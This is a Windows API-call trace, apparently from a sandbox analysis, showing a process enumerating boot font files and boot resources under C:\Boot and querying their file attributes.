	[0077.042] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8f4db4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2b506, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgun_boot.ttf", cAlternateFileName="MALGUN~2.TTF")) returned 1
	[0077.042] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9072c7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2318a, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryon_boot.ttf", cAlternateFileName="MEIRYO~1.TTF")) returned 1
	[0077.042] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef918492, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2380b, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryo_boot.ttf", cAlternateFileName="MEIRYO~2.TTF")) returned 1
	[0077.042] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef92a947, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x27a1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjhn_boot.ttf", cAlternateFileName="MSJHN_~1.TTF")) returned 1
	[0077.042] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef93ce3b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x281fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjh_boot.ttf", cAlternateFileName="MSJH_B~1.TTF")) returned 1
	[0077.042] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef94dfcd, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x25b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msyhn_boot.ttf", cAlternateFileName="MSYHN_~1.TTF")) returned 1
	[0077.042] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef95f141, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x26255, dwReserved0=0x0, dwReserved1=0x0, cFileName="msyh_boot.ttf", cAlternateFileName="MSYH_B~1.TTF")) returned 1
	[0077.042] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef96ef3e, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="segmono_boot.ttf", cAlternateFileName="SEGMON~1.TTF")) returned 1
	[0077.042] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c0da69, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef97d9ab, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x14f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="segoen_slboot.ttf", cAlternateFileName="SEGOEN~1.TTF")) returned 1
	[0077.042] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef98c419, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x150a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="segoe_slboot.ttf", cAlternateFileName="SEGOE_~1.TTF")) returned 1
	[0077.042] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1
	[0077.042] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0077.042] FindClose (in: hFindFile=0x1619f39e100 | out: hFindFile=0x1619f39e100) returned 1
	[0077.043] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0077.043] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef782dd9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x386467)) returned 1
	[0077.088] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x35, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0077.089] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a1dbea, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef81cc08, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e0a)) returned 1
	[0077.128] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x35, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0077.128] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a902c2, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8771a7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1e4d4b)) returned 1
	[0077.174] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x35, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0077.174] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b4eed5, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8c4060, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x243588)) returned 1
	[0077.213] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x35, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0077.213] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8f4db4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2b506)) returned 1
	[0077.250] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0077.250] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8e28b4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2ab6f)) returned 1
	[0077.287] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x39, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0077.287] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef918492, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2380b)) returned 1
	[0077.324] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0077.324] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9072c7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2318a)) returned 1
	[0077.364] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x39, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0077.364] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef93ce3b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x281fb)) returned 1
	[0077.400] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x36, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0077.401] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef92a947, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x27a1b)) returned 1
	[0077.401] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x37, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0077.401] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef95f141, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x26255)) returned 1
	[0077.401] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x36, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0077.401] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef94dfcd, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x25b3b)) returned 1
	[0077.401] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x37, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0077.401] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef96ef3e, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf3b)) returned 1
	[0077.479] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x39, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0077.596] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef98c419, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x150a2)) returned 1
	[0077.596] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x39, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0077.596] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c0da69, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef97d9ab, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x14f66)) returned 1
	[0077.596] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0077.596] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3)) returned 1
	[0077.597] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x36, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0077.597] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Resources" (normalized: "c:\\boot\\resources"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0077.635] CreateFileW (lpFileName="C:\\Boot\\Resources" (normalized: "c:\\boot\\resources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0077.635] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39df20
	[0077.635] FindNextFileW (in: hFindFile=0x1619f39df20, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.635] FindNextFileW (in: hFindFile=0x1619f39df20, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9abff9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef597530, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x169a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootres.dll", cAlternateFileName="")) returned 1
	[0077.635] FindNextFileW (in: hFindFile=0x1619f39df20, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0077.635] FindNextFileW (in: hFindFile=0x1619f39df20, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0077.636] FindClose (in: hFindFile=0x1619f39df20 | out: hFindFile=0x1619f39df20) returned 1
	[0077.636] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x2b, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0077.636] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Resources\\bootres.dll" (normalized: "c:\\boot\\resources\\bootres.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9abff9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef597530, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x169a0)) returned 1
	[0077.636] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0077.636] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Resources\\en-US" (normalized: "c:\\boot\\resources\\en-us"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0077.636] CreateFileW (lpFileName="C:\\Boot\\Resources\\en-US" (normalized: "c:\\boot\\resources\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
